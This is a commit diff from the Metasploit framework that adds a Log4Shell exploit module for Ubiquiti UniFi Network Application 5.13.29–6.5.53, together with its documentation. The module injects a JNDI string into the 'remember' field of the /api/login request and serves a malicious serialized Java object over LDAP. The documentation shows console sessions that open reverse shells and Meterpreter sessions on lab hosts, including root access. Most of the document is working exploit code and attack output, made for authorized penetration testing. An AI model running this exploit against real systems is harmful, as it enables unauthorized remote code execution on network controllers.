Land #16053, Log4Shell Unifi Controller RCE
This commit is contained in:
commit
d064bbe9a5
|
@ -0,0 +1,156 @@
|
|||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
The Ubiquiti UniFi Network Application versions 5.13.29 through 6.5.53 are affected by the Log4Shell
|
||||
vulnerability whereby a JNDI string can be sent to the server via the 'remember' field of a POST request to the
|
||||
/api/login endpoint that will cause the server to connect to the attacker and deserialize a malicious Java
|
||||
object. This results in OS command execution in the context of the server application.
|
||||
|
||||
This module will start an LDAP server that the target will need to connect to.
|
||||
|
||||
### Setup
|
||||
|
||||
1. Either install the Windows application, or start the docker container (use jacobalberty/unifi:v6.5.53).
|
||||
2. Navigate to the service on HTTPS port 8443 to setup the UniFi controller.
|
||||
3. On step 2, select the button to "Switch to Advanced Setup"
|
||||
4. While still on step 2, disable the remote access and "Use your Ubiquiti account for local access" options, then
|
||||
create a local account.
|
||||
5. On step 5, when prompted to setup WiFi, select the "Skip" button in the bottom right corner.
|
||||
6. Review the configuration, and finalize it.
|
||||
|
||||
Older versions of the UniFi Network Application can be downloaded from [community.ui.com][1].
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use exploit/multi/http/ubiquiti_unifi_log4shell`
|
||||
3. Set the `RHOSTS`, `TARGET`, `PAYLOAD`, and payload associated options
|
||||
4. Do: `run`
|
||||
5. If the target is vulnerable, the payload should be executed
|
||||
|
||||
## Scenarios
|
||||
|
||||
### UniFi Network Application v6.6.53 on Docker
|
||||
This uses jacobalberty/unifi:v6.5.53. Note that tags v6.5.54, v6.0.45, and v5.14.23 all contain the fix for this
|
||||
vulnerability. See [jacobalberty/unifi](https://hub.docker.com/r/jacobalberty/unifi) for more information.
|
||||
|
||||
```
|
||||
msf6 > use exploit/multi/http/ubiquiti_unifi_log4shell
|
||||
[*] Using configured payload windows/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set TARGET Unix
|
||||
TARGET => Unix
|
||||
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set RHOST 192.168.250.6
|
||||
RHOST => 192.168.250.6
|
||||
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set SRVHOST 192.168.250.134
|
||||
SRVHOST => 192.168.250.134
|
||||
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set LHOST 192.168.250.134
|
||||
LHOST => 192.168.250.134
|
||||
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set PAYLOAD cmd/unix/reverse_bash
|
||||
PAYLOAD => cmd/unix/reverse_bash
|
||||
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set RPORT 8443
|
||||
RPORT => 8443
|
||||
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.250.134:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable.
|
||||
[+] Delivering the serialized Java object to execute the payload...
|
||||
[*] Command shell session 5 opened (192.168.250.134:4444 -> 192.168.250.6:44984 ) at 2022-01-14 09:21:04 -0500
|
||||
[*] Server stopped.
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
pwd
|
||||
/usr/lib/unifi
|
||||
```
|
||||
|
||||
### UniFi Network Application v6.5.53 on Windows Server 2016
|
||||
|
||||
```
|
||||
msf6 > use exploit/multi/http/ubiquiti_unifi_log4shell
|
||||
[*] Using configured payload windows/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set TARGET Windows
|
||||
TARGET => Windows
|
||||
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set RHOST 192.168.159.65
|
||||
RHOST => 192.168.159.65
|
||||
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set SRVHOST 192.168.159.128
|
||||
SRVHOST => 192.168.159.128
|
||||
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set LHOST 192.168.159.128
|
||||
LHOST => 192.168.159.128
|
||||
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set RPORT 8443
|
||||
RPORT => 8443
|
||||
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set PAYLOAD windows/meterpreter/reverse_tcp
|
||||
PAYLOAD => windows/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.159.128:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable.
|
||||
[+] Delivering the serialized Java object to execute the payload...
|
||||
[*] Sending stage (175174 bytes) to 192.168.159.65
|
||||
[*] Meterpreter session 4 opened (192.168.159.128:4444 -> 192.168.159.65:51940 ) at 2022-01-14 09:19:25 -0500
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: WIN-BPID95ACQ7E\smcintyre
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-BPID95ACQ7E
|
||||
OS : Windows 2016+ (10.0 Build 14393).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/windows
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### UniFi Network Application v5.14.22 on OSX 11.2.3
|
||||
|
||||
```
|
||||
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > show options
|
||||
|
||||
Module options (exploit/multi/http/ubiquiti_unifi_log4shell):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LDIF_FILE no Directory LDIF file path
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 111.111.1.11 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 8443 yes The target port (TCP)
|
||||
SRVHOST 222.222.2.222 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 389 yes The local port to listen on.
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes Base path
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/unix/reverse_zsh):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 222.222.2.222 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
2 Unix
|
||||
|
||||
|
||||
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > run
|
||||
|
||||
[*] Started reverse TCP handler on 222.222.2.222:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable.
|
||||
[+] Delivering the serialized Java object to execute the payload...
|
||||
[*] Client sent unexpected request 2
|
||||
[*] Command shell session 2 opened (222.222.2.222:4444 -> 111.111.1.11:50474 ) at 2022-01-20 07:20:22 -0500
|
||||
[*] Server stopped.
|
||||
|
||||
id
|
||||
uid=501(yourmom) gid=20(staff) groups=20(staff),501(access_bpf),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),399(com.apple.access_ssh),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),400(com.apple.access_remote_ae)
|
||||
```
|
||||
|
||||
[1]: https://community.ui.com/releases?q=network+application
|
|
@ -0,0 +1,155 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::JndiInjection
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(_info = {})
|
||||
super(
|
||||
'Name' => 'UniFi Network Application Unauthenticated JNDI Injection RCE (via Log4Shell)',
|
||||
'Description' => %q{
|
||||
The Ubiquiti UniFi Network Application versions 5.13.29 through 6.5.53 are affected by the Log4Shell
|
||||
vulnerability whereby a JNDI string can be sent to the server via the 'remember' field of a POST request to the
|
||||
/api/login endpoint that will cause the server to connect to the attacker and deserialize a malicious Java
|
||||
object. This results in OS command execution in the context of the server application.
|
||||
|
||||
This module will start an LDAP server that the target will need to connect to.
|
||||
},
|
||||
'Author' => [
|
||||
'Spencer McIntyre', # this exploit module and JNDI/LDAP lib stuff
|
||||
'RageLtMan <rageltman[at]sempervictus>', # JNDI/LDAP lib stuff
|
||||
'Nicholas Anastasi' # Unifi research
|
||||
],
|
||||
'References' => [
|
||||
[ 'CVE', '2021-44228' ],
|
||||
[ 'URL', 'https://www.sprocketsecurity.com/blog/another-log4j-on-the-fire-unifi' ],
|
||||
[ 'URL', 'https://github.com/puzzlepeaches/Log4jUnifi' ],
|
||||
[ 'URL', 'https://community.ui.com/releases/UniFi-Network-Application-6-5-54/d717f241-48bb-4979-8b10-99db36ddabe1' ]
|
||||
],
|
||||
'DisclosureDate' => '2021-12-09',
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 8443,
|
||||
'SSL' => true,
|
||||
'WfsDelay' => 30
|
||||
},
|
||||
'DefaultTarget' => 1,
|
||||
'Targets' => [
|
||||
[
|
||||
'Windows', {
|
||||
'Platform' => 'win'
|
||||
},
|
||||
],
|
||||
[
|
||||
'Unix', {
|
||||
'Platform' => 'unix',
|
||||
'Arch' => [ARCH_CMD],
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'cmd/unix/reverse_bash'
|
||||
}
|
||||
},
|
||||
]
|
||||
],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [IOC_IN_LOGS],
|
||||
'AKA' => ['Log4Shell', 'LogJam'],
|
||||
'Reliability' => [REPEATABLE_SESSION]
|
||||
}
|
||||
)
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [ true, 'Base path', '/'])
|
||||
])
|
||||
end
|
||||
|
||||
def wait_until(&block)
|
||||
datastore['WfsDelay'].times do
|
||||
break if block.call
|
||||
|
||||
sleep(1)
|
||||
end
|
||||
end
|
||||
|
||||
def check
|
||||
validate_configuration!
|
||||
res = send_request_cgi('uri' => normalize_uri(target_uri, 'status'))
|
||||
return Exploit::CheckCode::Unknown('No HTTP response was received.') if res.nil?
|
||||
|
||||
server_version = res.get_json_document.dig('meta', 'server_version')
|
||||
return Exploit::CheckCode::Safe('The target service does not appear to be running.') unless server_version =~ /(\d+\.)+/
|
||||
|
||||
vprint_status("Detected version: #{server_version}")
|
||||
server_version = Rex::Version.new(server_version)
|
||||
if server_version < Rex::Version.new('5.13.29')
|
||||
return Exploit::CheckCode::Safe('Versions prior to 5.13.29 are not exploitable.')
|
||||
elsif server_version > Rex::Version.new('6.5.53')
|
||||
return Exploit::CheckCode::Safe('Versions after 6.5.53 are patched and not affected.')
|
||||
end
|
||||
|
||||
vprint_status('The target appears to be a vulnerable version, attempting to trigger the vulnerability...')
|
||||
|
||||
start_service
|
||||
res = trigger
|
||||
return Exploit::CheckCode::Unknown('No HTTP response was received.') if res.nil?
|
||||
|
||||
wait_until { @search_received }
|
||||
@search_received ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Unknown('No LDAP search query was received.')
|
||||
ensure
|
||||
stop_service
|
||||
end
|
||||
|
||||
def build_ldap_search_response_payload
|
||||
return [] if @search_received
|
||||
|
||||
@search_received = true
|
||||
|
||||
return [] unless @exploiting
|
||||
|
||||
print_good('Delivering the serialized Java object to execute the payload...')
|
||||
build_ldap_search_response_payload_inline('BeanFactory')
|
||||
end
|
||||
|
||||
def trigger
|
||||
@search_received = false
|
||||
# HTTP request initiator
|
||||
send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri, 'api', 'login'),
|
||||
'method' => 'POST',
|
||||
'ctype' => 'application/json',
|
||||
'data' => {
|
||||
'username' => rand_text_alphanumeric(8..16), # can not be blank!,
|
||||
'password' => rand_text_alphanumeric(8..16), # can not be blank!
|
||||
'remember' => jndi_string,
|
||||
'strict' => true
|
||||
}.to_json
|
||||
)
|
||||
end
|
||||
|
||||
def exploit
|
||||
validate_configuration!
|
||||
|
||||
@exploiting = true
|
||||
start_service
|
||||
res = trigger
|
||||
fail_with(Failure::Unreachable, 'Failed to trigger the vulnerability') if res.nil?
|
||||
|
||||
msg = res.get_json_document.dig('meta', 'msg')
|
||||
if res.code == 400 && msg == 'api.err.Invalid' # returned by versions before 5.13.29
|
||||
fail_with(Failure::NotVulnerable, 'The target is not vulnerable')
|
||||
end
|
||||
|
||||
unless res.code == 400 && msg == 'api.err.InvalidPayload' # returned by versions after 5.13.29 (including patched ones)
|
||||
fail_with(Failure::UnexpectedReply, 'The server replied to the trigger in an unexpected way')
|
||||
end
|
||||
|
||||
wait_until { @search_received && (!handler_enabled? || session_created?) }
|
||||
handler
|
||||
ensure
|
||||
cleanup
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue